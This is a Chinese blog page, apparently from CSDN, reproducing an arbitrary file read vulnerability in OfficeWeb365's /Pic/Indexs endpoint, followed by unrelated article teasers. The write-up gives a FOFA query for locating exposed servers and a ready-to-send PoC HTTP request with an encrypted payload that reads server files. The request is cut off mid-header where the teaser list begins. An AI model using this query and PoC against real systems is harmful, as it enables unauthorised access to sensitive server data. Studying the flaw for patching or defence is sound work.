OfficeWeb365 Indexs 任意文件读取漏洞复现
0x01 产品简介
OfficeWeb365 是专注于 Office 文档在线预览及PDF文档在线预览云服务，包括 Microsoft Word 文档在线预览、Excel 表格在线预览、Powerpoint 演示文档在线预览，WPS 文字处理、WPS 表格、WPS 演示及 Adobe PDF 文档在线预览。
0x02 漏洞概述
OfficeWeb365 /Pic/Indexs接口处存在任意文件读取漏洞，攻击者可通过独特的加密方式对payload进行加密，读取任意文件，获取服务器敏感信息，使系统处于极不安全的状态。
0x03 复现环境
FOFA：body="请输入furl参数" || header="OfficeWeb365" || banner="OfficeWeb365"
0x04 漏洞复现
PoC
GET /Pic/Indexs?imgs=DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchan相关文章：
OfficeWeb365 Indexs 任意文件读取漏洞复现
0x01 产品简介 OfficeWeb365 是专注于 Office 文档在线预览及PDF文档在线预览云服务，包括 Microsoft Word 文档在线预览、Excel 表格在线预览、Powerpoint 演示文档在线预览，WPS 文字处理、WPS 表格、WPS 演示及 Adobe PDF 文档在线预览。 0x02 漏洞概述 OfficeWeb365 /Pi…...
Crypto的简单应用-前后端加密传输
最近遇到一个数据脱敏处理的需求，想要用一种轻量级的技术实现，必须足够简单并且适用于所有场合如前后端加密传输、路由加密、数据脱敏等。抽时间研究了一下Crypto加密库的一些API，发现完全符合上述需求，扩展也比较容易。 1、前端加…...
Vue3-32-路由-重定向路由
什么是重定向 路由的重定向 ：将匹配到的路由 【替换】 为另一个路由。 redirect : 重定向的关键字。 重定向的特点 1、重定向是路由的直接替换,路由的地址是直接改变的； 2、在没有子路由配置的情况下，重定向的路由可以省略 component 属性的配…...
如何用js动态修改字体大小
在项目中，我们常常会遇到使用v-html渲染文本的情况。 如果需要点击大中小三个字号按钮，需要修改字体的大小。那我们应该怎么做呢 function fontSize(element, type) {let size {big: 22,middle: 16,small: 12};var result element.innerHTML.replac…...
【BIG_FG_CSDN】C++ 数组与指针 （个人向——学习笔记）
一维数组 在内存占用连续存储单元的相同类型数据序列的存储。 数组是静态存储器的块；在编译时确定大小后才能使用； 其声明格式如下： 元素类型 数组名[常量]；元素类型：数组中元素的数据类型； 常量&#…...
桌面天气预报软件 Weather Widget free mac特点介绍
Weather Widget free for Mac多种吸引人的小部件设计可供选择，可以随时了解天气！还可以在Dock和菜单栏中为您提供简短的天气预报或当前状况的概述。 Weather Widget free for Mac软件介绍 始终在桌面上使用时尚的天气小部件来随时了解天气！多…...
HarmonyOS应用开发-搭建开发环境
本文介绍如何搭建 HarmonyOS 应用的开发环境，介绍下载安装 DevEco Studio 开发工具和 SDK 的详细流程。华为鸿蒙 DevEco Studio 是面向全场景的一站式集成开发环境，面向全场景多设备，提供一站式的分布式应用开发平台，支持分布式多…...
＜JavaEE＞ TCP 的通信机制（五） -- 延时应答、捎带应答、面向字节流
目录 TCP的通信机制的核心特性 七、延时应答 1）什么是延时应答？ 2）延时应答的作用 八、捎带应答 1）什么是捎带应答？ 2）捎带应答的作用 九、面向字节流 1）沾包问题 2）“沾包…...
电脑怎么设置代理IP上网？如何隐藏自己电脑的真实IP？
在现代互联网中，代理IP已成为许多用户保护隐私和上网安全的重要手段。通过设置代理IP，用户可以隐藏自己的真实IP地址，提高上网的安全性，同时保护个人信息不被泄露。本文将详细介绍如何设置代理IP上网以及如何隐藏电脑的真实IP地址…...
Django信号机制源码分析（观察者模式）
Django信号的实现原理本质是设计模式中的观察者模式，浅谈Python设计模式 -- 观察者模式，也可以叫做发布-订阅模式，信号对象维护一个订阅者列表，当信号被触发时，它会遍历订阅者，依次通知它们。 先来回顾一下…...
MyBatis-config.xml配置文件
1、基本介绍： mybatis的核心配置文件(mybatis-config.xml)，比如配置jdbc连接信息，注册mapper等等，我们需要对这个配置文件有详细的了解。 官网地址有详细介绍 mybatis – MyBatis 3 | 配置 2、properties属性 在通常的情况下&am…...
【Spring实战】17 REST服务介绍
文章目录 1. 为什么出现2. 拥有哪些优势3. Spring中的应用4. spring-boot-starter-data-rest总结 REST（Representational State Transfer）是一种软件架构风格，通常用于设计网络应用程序的服务接口。RESTful 服务是基于 REST 原则构建的网络服…...
java struts2教务管理系统Myeclipse开发mysql数据库struts2结构java编程计算机网页项目
一、源码特点 java struts2 教务管理系统 是一套完善的web设计系统，对理解JSP java编程开发语言有帮助 struts2 框架开发，系统具有完整的源代码和数据库，系统主要采用B/S模式开发。开发环境 为TOMCAT7.0,Myeclipse8.5开发，数据库…...
跟着cherno手搓游戏引擎【3】事件系统和预编译头文件
不多说了直接上代码，课程中的架构讲的比较宽泛，而且有些方法写完之后并未测试。所以先把代码写完。理解其原理，未来使用时候会再此完善此博客。 文件架构： Event.h:核心基类 #pragma once #include"../Core.h" #inclu…...
排序算法之快速排序
快速排序是一种高效的排序算法，它的基本思想是采用分治策略，将一个无序数组分割成两个子数组，分别对子数组进行排序，然后将两个排序好的子数组合并成一个有序数组。快速排序的性能优于归并排序，尤其在处理大规模数据时…...
Docker 从入门到实践：Docker介绍
前言 在当今的软件开发和部署领域，Docker已经成为了一个不可或缺的工具。Docker以其轻量级、可移植性和标准化等特点，使得应用程序的部署和管理变得前所未有的简单。无论您是一名开发者、系统管理员，还是IT架构师，理解并掌握Dock…...
用IDEA创建/同步到gitee（码云）远程仓库（保姆级详细）
前言： 笔者最近在学习java，最开始在用很笨的方法：先克隆远程仓库到本地，再把自己练习的代码从本地仓库上传到远程仓库，很是繁琐。后发现可以IDEA只需要做些操作可以直接把代码上传到远程仓库，也在网上搜了些…...
【Linux】进程控制深度了解
> 作者简介：დ旧言~，目前大二，现在学习Java，c，c，Python等 > 座右铭：松树千年终是朽，槿花一日自为荣。 > 目标：熟练掌握Linux下的进程控制 > 毒鸡汤ÿ…...
kbdnso.dll文件缺失，软件或游戏报错的快速修复方法
很多小伙伴遇到电脑报错，提示“kbdnso.dll文件缺失，程序无法启动执行”时，不知道应该怎样处理，还以为是程序出现了问题，想卸载重装。 首先，先要了解“kbdnso.dll文件”是什么？ kbdnso.dll是Win…...
Spring技术内幕笔记之IOC的实现
IOC容器的实现 依赖反转： 依赖对象的获得被反转了，于是依赖反转更名为：依赖注入。许多应用都是由两个或者多个类通过彼此的合作来实现业务逻辑的，这使得每个对象都需要与其合作的对象的引用，如果这个获取过程需要自身…...
MobileClaw：为OpenClaw AI Agent打造移动优先的聊天界面
1. 项目概述：为本地AI Agent打造一款移动优先的聊天界面 如果你和我一样，热衷于在本地运行大型语言模型，并且对OpenClaw这类AI Agent框架的强大能力着迷，那你一定也遇到过和我一样的烦恼：在手机上查看和管理Agent对话…...
iperf3 Windows网络性能测试：终极指南与实战教程
iperf3 Windows网络性能测试：终极指南与实战教程 【免费下载链接】iperf3-win-builds iperf3 binaries for Windows. Benchmark your network limits. 项目地址: https://gitcode.com/gh_mirrors/ip/iperf3-win-builds iperf3-win-builds项目为Windows用户提…...
告别报错！手把手教你用Python的cinrad库解析气象雷达基数据（附常见环境问题解决）
从零到精通：Python气象雷达数据处理实战指南 气象雷达数据是天气监测和预报的重要信息来源，而Python作为科学计算的主流语言，为雷达数据处理提供了强大支持。本文将带你深入掌握cinrad库的使用技巧，避开常见陷阱，高效处…...
软件厂商突然要审计，你们公司 IT 资产管理能扛得住吗
某天下午，公司法务收到一封措辞正式的律师函。发函方是一家知名软件厂商，函件内容大意是：根据他们的监测数据，贵司存在超量使用其软件产品的情况，要求在三十天内配合完成软件资产审计，提供全公司范围内该软…...
点云配准避坑指南：当ICP把深度图配到‘中心’时，我的自适应阈值调整方案
点云配准避坑指南：动态阈值优化解决ICP中心化失效问题 在三维重建和SLAM项目中，工程师们常常会遇到一个令人头疼的现象：使用标准ICP算法对深度图点云进行配准时，点云会神秘地"滑向"彼此的中心位置。这种看似魔法的行为背…...
基于MCP协议与Gemini大模型构建智能命令行AI助手
1. 项目概述：一个连接命令行与AI的“翻译官” 最近在折腾一些自动化脚本和工具链，发现一个挺有意思的痛点：我手头有一堆用Shell、Python写的命令行工具，它们功能强大，但交互方式仅限于传统的参数和标准输入输出。与此…...
动态电源路径管理技术解析与工程实践
1. 动态电源路径管理技术解析在便携式电子设备设计中，电源管理系统如同人体的血液循环系统，需要精确调控能量分配。动态电源路径管理（DPPM）技术的核心在于实现三个关键目标：优先保障系统负载供电、动态调节充电电流、最…...
5个高效处理PDF的Windows命令行工具：Poppler完整解决方案
5个高效处理PDF的Windows命令行工具：Poppler完整解决方案 【免费下载链接】poppler-windows Download Poppler binaries packaged for Windows with dependencies 项目地址: https://gitcode.com/gh_mirrors/po/poppler-windows 在Windows平台上处理PDF文档时…...
Snowflake Postgres、Lakebase、HorizonDB 登场，如何选“锁定”方案？
2026 年 5 月 12 日 阅读时长 4 分钟在过去的十二个月里，三家大型数据平台公司推出了具有自定义存储层和“横向扩展计算、共享存储”架构的 Postgres 风格数据库。Snowflake Postgres 已正式发布，它基于 Crunchy Data 团队的工作构建，以 pg_l…...
从零构建Node.js API客户端：TypeScript封装、Axios拦截器与错误处理实战
1. 项目概述：一个API客户端的诞生与价值最近在对接一个名为“Seedance2”的第三方服务时，我发现市面上缺少一个成熟、稳定且易于集成的客户端库。官方提供的文档虽然详尽，但直接使用原始的HTTP请求进行交互，代码会迅速变得臃肿且难…...